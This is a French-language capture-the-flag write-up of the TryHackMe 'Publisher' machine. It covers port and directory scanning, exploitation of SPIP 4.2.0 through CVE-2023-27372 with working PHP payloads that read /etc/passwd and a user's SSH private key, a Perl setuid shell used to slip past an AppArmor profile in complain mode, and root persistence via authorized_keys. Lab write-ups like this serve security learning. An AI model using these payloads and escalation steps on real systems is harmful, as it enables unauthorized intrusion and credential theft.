Publisher - TryHackMe
La machine "Publisher" sur TryHackMe est un environnement simulé hébergeant certains services. Grâce à une série de techniques d'énumération, y compris l'exploration des répertoires et l'identification de la version, une vulnérabilité est découverte, permettant l'exécution de code à distance (RCE). Les tentatives d'escalade des privilèges à l'aide d'un binaire personnalisé sont entravées par un accès restreint aux fichiers et répertoires critiques du système, ce qui nécessite une exploration plus approfondie du profil de sécurité du système pour finalement exploiter une faille qui permet l'exécution d'un shell bash non confiné et d'atteindre l'escalade des privilèges.
Reconnaissance
Pour commencer. j’utilise rustscan
pour voir quelles ports sont ouvert dans cet Machine
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# rustscan --ulimit 5000 --range 1-65535 -a $ip -- -sV
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog :
: https://github.com/RustScan/RustScan :
--------------------------------------
😵 https://admin.tryhackme.com
[~] The config file is expected to be at "/root/.rustscan.toml"
[~] Automatically increasing ulimit value to 5000.
Open 10.10.83.157:22
Open 10.10.83.157:80
Deux port sont ouverte et qui sont:
- Port: 22
- Port: 80
Un site internet deja disponibles dans le port 80.
Je vais faire de l’enumeration de fichier dans ce site que je viens de decouvrir avec ffuf
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
└─$ ffuf -u http://10.10.83.157/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
______________________
spip [Status: 301, Size: 311, Words: 20, Lines: 10, Duration: 967ms]
images [Status: 301, Size: 313, Words: 20, Lines: 10, Duration: 3598ms
Dans le site web je trouve un CMS du nom de SPIP avec la version 4.2.0
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
$ searchsploit -m 51536
Exploit: SPIP v4.2.0 - Remote Code Execution (Unauthenticated)
URL: https://www.exploit-db.com/exploits/51536
Path: /usr/share/exploitdb/exploits/php/webapps/51536.py
Codes: CVE-2023-27372
Verified: True
File Type: Python script, ASCII text executable
Copied to: /home/bloman/CTFs/Boot2/TryHackMe/exploits/51536.py
$ python3 spip_rce.py -h
usage: spip_rce.py [-h] -u URL -c COMMAND [-v]
Poc of CVE-2023-27372 SPIP < 4.2.1 - Remote Code Execution by nuts7
options:
-h, --help show this help message and exit
-u URL, --url URL SPIP application base URL
-c COMMAND, --command COMMAND
Command to execute
-v, --verbose Verbose mode. (default: False)
Lorsque j’execute cet exploit:
1
2
3
4
5
$ python3 spip_rce.py -u http://10.10.83.157/spip -c 'id' -v
[+] Anti-CSRF token found : AKXEs4U6r36PZ5LnRZXtHvxQ/ZZYCXnJB2crlmVwgtlVVXwXn/MCLPMydXPZCL/WsMlnvbq2xARLr6toNbdfE/YV7egygXhx
[+] Execute this payload : s:35:"<?php system('cat /etc/passwd'); ?>";
En lisant ce template nuclei je comprends que la vulnerabilite se trouve dans le parametre oubli
lorsqu’on voudrais se connecter sur le CMS
À partir de là, il est possible de formuler une commande en utilisant la chaîne "s:19:"<?php phpinfo(); ?>";"
Le s:35
indique ici le nombre de caractères contenus dans les guillemets “”. ""
j’ai lu la cle privee ssh
en utilisant le payload s:47:"<?php system('cat /home/think/.ssh/id_rsa'); ?>";
puis je me suis connecter en tant qu’utilisateur think
1
2
3
4
└─$ ssh think@10.10.83.157 -i id_rsa
think@publisher:~$ id
uid=1000(think) gid=1000(think) groups=1000(think)
Privilege Escalation
Je commence par vérifier la version du système.
1
2
think@publisher:~$ uname -a
Linux publisher 5.4.0-169-generic #187-Ubuntu SMP Thu Nov 23 14:52:28 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux
En inspectant les fichiers SUID, je découvre un fichier qui semble suspect.
J’examine ce fichier suspect à l’aide de la commande strings
et voici ce que je trouve :
1
2
3
think@publisher:/opt$ ls -la /opt/run_container.sh
-rwxrwxrwx 1 root root 1715 Jan 10 2024 /opt/run_container.sh
think@publisher:/opt$
Cependant, lorsque j’essaie de télécharger des fichiers sur la machine, je rencontre une restriction d’accès qui m’empêche de créer des répertoires.
1
2
think@publisher:/tmp$ mkdir priv
mkdir: cannot create directory ‘priv’: Permission denied
En examinant les variables d’environnement, je constate que ce système utilise ash
comme shell par défaut, comme indiqué par SHELL=/usr/sbin/ash
Contournement de Shebang AppArmor
AppArmor est une amélioration du noyau conçue pour restreindre les ressources disponibles aux programmes via des profils par programme, mettant en œuvre efficacement un contrôle d’accès obligatoire (MAC) en liant directement les attributs de contrôle d’accès aux programmes plutôt qu’aux utilisateurs.
En examinant le profil AppArmor associé au shell ash
, on observe les règles suivantes :
Selon les règles définies dans ce profil, il est clair que l’écriture dans des répertoires tels que /opt
, /tmp
, et /var/tmp
est explicitement interdite. Cependant, il existe une subtilité :
- Mode “complain” : Le profil AppArmor pour ash est configuré en mode “complain” (flags=(complain)). Dans ce mode, les violations de règles ne sont pas strictement appliquées ; elles sont plutôt signalées dans les logs sans bloquer réellement l’accès. Cela signifie que bien que les règles spécifient des interdictions d’écriture, ces actions ne sont pas bloquées de manière stricte, permettant ainsi à l’utilisateur d’écrire dans des répertoires comme
/var/tmp
.
En mode “complain”, les protections AppArmor sont moins strictes, ce qui permet à des utilisateurs malveillants ou non autorisés de contourner certaines restrictions. Cela explique pourquoi, malgré la présence d’une règle interdisant l’écriture dans /var/tmp
, vous êtes toujours capable d’y écrire.
- Pour contourner la protection du Shebang AppArmor, j’utilise ce script suivant :
1
2
3
4
5
#!/usr/bin/perl
use POSIX qw(strftime);
use POSIX qw(setuid);
POSIX::setuid(0);
exec "/bin/sh"
Je vais écrire et exécuter ce script dans le répertoire /var/tmp
, ce qui me permettra de contourner les restrictions imposées par AppArmor.
Après avoir contourné AppArmor, je peux désormais écrire dans le fichier /opt/run_container.sh
sans aucune restriction, ce qui me permet d’élever mes privilèges en utilisant le SUID /usr/sbin/run_container
.
Pour finaliser, j’ai ajouté la clé Public SSH de mon utilisateur dans le fichier authorized_keys
de l’utilisateur root
, me permettant ainsi de me connecter sans mot de passe.
Ressources supplementaires
Voici quelques ressources supplémentaires qui pourraient vous être utiles :